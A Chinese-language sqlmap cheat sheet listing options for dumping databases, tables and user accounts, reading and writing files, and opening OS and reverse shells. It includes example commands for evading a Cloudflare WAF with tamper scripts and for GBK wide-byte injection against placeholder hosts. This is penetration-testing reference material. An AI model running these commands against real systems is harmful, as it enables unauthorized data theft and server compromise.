应用场景

自动测试注入已找到的sql注入漏洞点

命令参数

常用参数

参数 详解
-u “url” 注入的url
—data post请求payload
–cookie cookie注入
–dbs 列出所有数据库
-tables 列出所有表
-D 指定数据库
-T 指定表
-C 指定字段
–dump 跟在上面指定的参数一起使用,列出指定的数据
—sql-shell 写shell
—batch 默认选择y
–eta 盲注,显示时间和优化
–os-cmd=id 执行系统命令
–os-shell 系统交互shell
–os-pwn 反弹shell
–referer 使用referer欺骗
–users 列数据库所有用户
–threads 多线程
–file-read 读指定文件
–file-write 写入指定文件

示例

  1. post请求插入请求表单
    1
    sqlmap -u "url" --data="id=1&" --batch
  2. 列出数据库系统用户
    1
    sqlmap -u "url" --users -v 0
  3. 列出所有数据库名称
    1
    sqlmap -u "url" --dbs --batch
  4. 列出指定数据库的表
    1
    sqlmap -u "url" --tables -D "数据库名称" -tables --batch
  5. 列出指定表的数据
    1
    sqlmap -u "url" --tables -D "数据库名称" -T "表名" --dump --batch

安全参数

参数 详解
-proxy “url,url” 代理
—tamper Tamper 脚本,混淆 Payload
—chunked 分块传输编码
—random-agent 随机化 HTTP 头
—delay=5 请求延迟
—headers —headers=”X-Forwarded-For:1.1.1.1”添加自定义 HTTP 头
—charset 强制指定字符集,绕过转义字符

示例

  1. 绕过 Cloudflare WAF
    1
    2
    3
    4
    5
    6
    7
    sqlmap -u "http://XXXXXXX.com?id=1" \
    --tamper=space2comment,randomcase,versionedmorekeywords \
    --random-agent \
    --delay=3 \
    --dbms=MySQL \
    --level=5 \
    --risk=3
  2. GBK 宽字节注入
    1
    2
    3
    4
    5
    sqlmap -u "http://XXXXXXX.com?id=1%df%27" \
    --charset=gbk \
    --tamper=unmagicquotes \
    --dbms=MySQL \
    --dbs
  3. JSON 参数注入
    1
    2
    3
    4
    5
    sqlmap -u "http://target.com/api" \
    --data='{"id":"1*"}' \
    --param-del=":" \
    --headers="Content-Type: application/json" \
    --dbms=MySQL

-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容